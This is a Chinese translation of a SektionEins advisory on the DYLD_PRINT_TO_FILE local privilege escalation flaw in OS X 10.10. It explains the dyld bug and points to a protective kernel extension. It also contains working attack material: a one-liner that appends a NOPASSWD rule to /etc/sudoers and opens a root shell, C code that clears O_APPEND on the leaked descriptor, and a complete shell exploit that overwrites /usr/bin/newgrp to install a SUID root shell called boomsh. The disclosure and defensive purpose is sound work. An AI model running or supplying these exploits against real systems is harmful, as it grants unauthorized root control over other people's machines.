from:https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html
隨著OS X 10.10
的發布,Apple已為其動態鏈接器添加了以下新特性。已添加用于將錯誤日志記錄到任意文件的環境變量DYLD_PRINT_TO_FILE
。
當該變量被添加到通常被需要的safeguard
時,新的環境變量會被添加到未被使用的動態鏈接器。所以即使是suid為root的二進制程序也可能擁有這個新特性。因為在文件系統中可以打開或創建root用戶擁有的任意文件。所以在這種情況下會有一定的危險性。此外,已打開的日志文件從不被關閉,因此它的文件描述符會被泄漏進SUID為root的進程。這意味著在文件系統中,SUID為root進程的子進程可以對具有root權限的用戶所擁有的任意文件進行寫操作。進而在OS X 10.10.x
中實現權限提升。
這時,不管Apple是否了解到了該安全問題,在OS X 10.11中已修復了該漏洞,但在當前的OS X 10.10.4 的release版或當前OS X 10.10.5的測試版中未修復。 然而,我們已經發布了內核擴展的源碼,它可以保護使用OS X 10.10.x的用戶免受該安全漏洞的危害。源碼下載地址:https://github.com/sektioneins/SUIDGuard
當Apple已經改變了用于OS X 10.10的動態鏈接器代碼來支持新的環境變量DYLD_PRINT_TO_FILE
時,他們已經將如下代碼直接添加到了dyld的_main函數。正如你可以從該代碼中所了解到的,該環境變量值被直接當作文件名來使用,其用于已打開或已創建的記錄日志的文件。
#!c
const char* loggingPath = _simple_getenv(envp, "DYLD_PRINT_TO_FILE");
if ( loggingPath != NULL ) {
int fd = open(loggingPath, O_WRONLY | O_CREAT | O_APPEND, 0644);
if ( fd != -1 ) {
sLogfile = fd;
sLogToFile = true;
}
else {
dyld::log("dyld: could not open DYLD_PRINT_TO_FILE='%s', errno=%d\n", loggingPath, errno);
}
}
問題在于,動態鏈接器應該拒絕所有被傳遞到其中的環境變量。當新的環境變量被添加到processDyldEnvironmentVariable()
函數時,會實現自動化處理。然而在DYLD_PRINT_TO_FILE
案例中,代碼被直接添加到了dyld
的_main
函數。
由于此處的疏忽大意,dyld
將接受DYLD_PRINT_TO_FILE
,甚至是受限制的二進制程序 ,如SUID為root的二進制程序。這顯然存在問題,因為在文件系統中,它允許對任意文件進行創建或打開操作。因為不被dyld打開的日志文件并且不打開在exec標志(通過SUID二進制程序的子進程繼承的文件描述符)上為close的文件。可以非常容易地利用這個安全問題,進而實現權限提升。
在OS X10.11測試版中,Apple已經通過將DYLD_PRINT_TO_FILE (和另一個新的環境變量) 遷移到processDyldEnvironmentVariable()函數來對該漏洞進行修復。
如果系統存在漏洞或僅輸入如下內容到shell中:
$ EDITOR=/usr/bin/true DYLD_PRINT_TO_FILE=/this_system_is_vulnerable crontab -e
后來你的文件系統的root目錄應該展示被創建的文件,其擁有root權限。
$ ls -la /
total 317
...
drwxr-xr-x@ 2 root wheel 68 Sep 9 2014 Network
drwxr-xr-x+ 4 root wheel 136 Jul 15 16:03 System
drwxr-xr-x 6 root admin 204 Jul 17 17:39 Users
drwxrwxrwt@ 4 root admin 136 Jul 21 07:28 Volumes
drwxr-xr-x@ 39 root wheel 1326 Jul 20 19:26 bin
drwxrwxr-t@ 2 root admin 68 Sep 9 2014 cores
dr-xr-xr-x 3 root wheel 4156 Jul 20 20:26 dev
lrwxr-xr-x@ 1 root wheel 11 Jul 15 15:55 etc -> private/etc
dr-xr-xr-x 2 root wheel 1 Jul 21 07:34 home
-rw-r--r--@ 1 root wheel 313 Apr 28 21:11 installer.failurerequests
dr-xr-xr-x 2 root wheel 1 Jul 21 07:34 net
drwxr-xr-x@ 6 root wheel 204 Jul 15 16:08 private
drwxr-xr-x@ 61 root wheel 2074 Jul 20 19:26 sbin
-rw-r--r-- 1 root wheel 0 Jul 21 17:22 this_system_is_vulnerable <----
lrwxr-xr-x@ 1 root wheel 11 Jul 15 15:56 tmp -> private/tmp
如果你可以看到該文件,那么該程序存在漏洞。
一句話測試:
echo python -c '"import os;os.write(3,\"ALL ALL=(ALL) NOPASSWD: ALL\")"'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp;sudo su
在進行對該問題的利用前,因為Apple將花費數月來對該問題進行回顧,我們已發布了一個內核擴展,通過阻止所有SUID為root的二進制程序識別的環境變量來進行保護。此外它添加了緩解來解決在文件描述符上繞過的O_APPEND的限制。
你可以在Github中得到源碼:https://github.com/sektioneins/SUIDGuard
因為其將已打開的文件描述符泄漏給我們執行的二進制程序的子進程。我們可以使用一些簡短的shell命令行再次進行示范。 正如你可以看到的文件描述符3(與被打開的日志文件相關)被泄露進已彈出的shell并且可以直接被寫入。不具有特權的用戶已經將數據追加到了root用戶擁有的文件。在文件系統上這可以是任意文件,這使權限提升變得相當容易。 筆記:在該范例中我們已使用了su(已經輸入我們自己的密碼),但是我們可以之前使用過的crontab技巧并將用于相同用途的惡意shell腳本放入EDITOR環境變量中。
到目前為止,我已示范將任意數據追加到文件系統的任意文件。確實挺糟糕的,但是到目前為止我們被O_APPEND 標志限制了。該標志阻礙我們覆寫任意一個我們鐘情的文件。這是存在的比所有人所相信還要小的問題,因為O_APPEND
標志在文件描述符上可被進行fcntl(F_SETFL)
系統調用的人關閉。如下c代碼展示了如何將數據寫入到任意文件。
#!c
int main(int argc, char **argv)
{
int fd;
char buffer[1024];
/* disable O_APPEND */
fcntl(3, F_SETFL, 0);
lseek(3, 0, SEEK_SET);
strcpy(buffer, "anything - anything - anything");
write(3, &buffer, strlen(buffer));
當你可以在文件系統上將任意數據寫到任意文件時,首先想到的顯然是用自己的代碼覆寫任意SUID為root的二進制程序。可以在編寫用于OS X系統調用的man頁面上找到一些對你有幫助的信息。
使用該攻擊來覆寫SUID為root的二進制程序。但是你應該不再相信man頁面的幫助信息,因為當你試圖進行緩解后的Apple將不觸發,日志文件被SUID為root的二進制程序打開,因此對文件系統的寫操作將會信任通過超級用戶執行的寫操作并且SUID的位將不被清空。
如下代碼為用于該安全問題的概念證明代碼,其實用之前所討論過的方法來為用戶安裝root shell,同時也會為了更容易地獲得root權限而在目錄/usr/bin/boomsh
安裝root shell
。
請注意該段代碼可能會危害系統,因為它會安裝root shell。
#!bash
#!/bin/sh
#
# Simple Proof of Concept Exploit for the DYLD_PRINT_TO_FILE
# local privilege escalation vulnerability in OS X 10.10 - 10.10.4
#
# (C) Copyright 2015 Stefan Esser <[email protected]>
#
# Wait months for a fix from Apple or install the following KEXT as protection
# https://github.com/sektioneins/SUIDGuard
#
# Use at your own risk. This copies files around with root permissions,
# overwrites them and deletes them afterwards. Any glitch could corrupt your
# system. So you have been warned.
SUIDVICTIM=/usr/bin/newgrp
# why even try to prevent a race condition?
TARGET=`pwd`/tmpXXXXX
rm -rf $TARGET
mkdir $TARGET
cat << EOF > $TARGET/boomsh.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);
setgid(0);
system("/bin/bash -i");
printf("done.\n");
return 0;
}
EOF
cat << EOF > $TARGET/overwrite.c
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv)
{
int fd;
char buffer[1024];
ssize_t toread, numread;
ssize_t numwritten;
ssize_t size;
/* disable O_APPEND */
fcntl(3, F_SETFL, 0);
lseek(3, 0, SEEK_SET);
/* write file into it */
fd = open(
EOF
echo "\"$TARGET/boomsh\"" >> $TARGET/overwrite.c
cat << EOF >> $TARGET/overwrite.c
, O_RDONLY, 0);
if (fd > 0) {
/* determine size */
size = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
while (size > 0) {
if (size > sizeof(buffer)) {
toread = sizeof(buffer);
} else {
toread = size;
}
numread = read(fd, &buffer, toread);
if (numread < toread) {
fprintf(stderr, "problem reading\n");
_exit(2);
}
numwritten = write(3, &buffer, numread);
if (numread != numwritten) {
fprintf(stderr, "problem writing\n");
_exit(2);
}
size -= numwritten;
}
fsync(3);
close(fd);
} else {
fprintf(stderr, "Cannot open for reading\n");
}
return 0;
}
EOF
cp $SUIDVICTIM $TARGET/backup
gcc -o $TARGET/overwrite $TARGET/overwrite.c
gcc -o $TARGET/boomsh $TARGET/boomsh.c
EDITOR=$TARGET/overwrite DYLD_PRINT_TO_FILE=$SUIDVICTIM crontab -e 2> /dev/null
echo "cp $TARGET/boomsh /usr/bin/boomsh; chmod 04755 /usr/bin/boomsh " | $SUIDVICTIM > /dev/null 2> /dev/null
echo "cp $TARGET/backup $SUIDVICTIM" | /usr/bin/boomsh > /dev/null 2> /dev/null
rm -rf $TARGET
/usr/bin/boomsh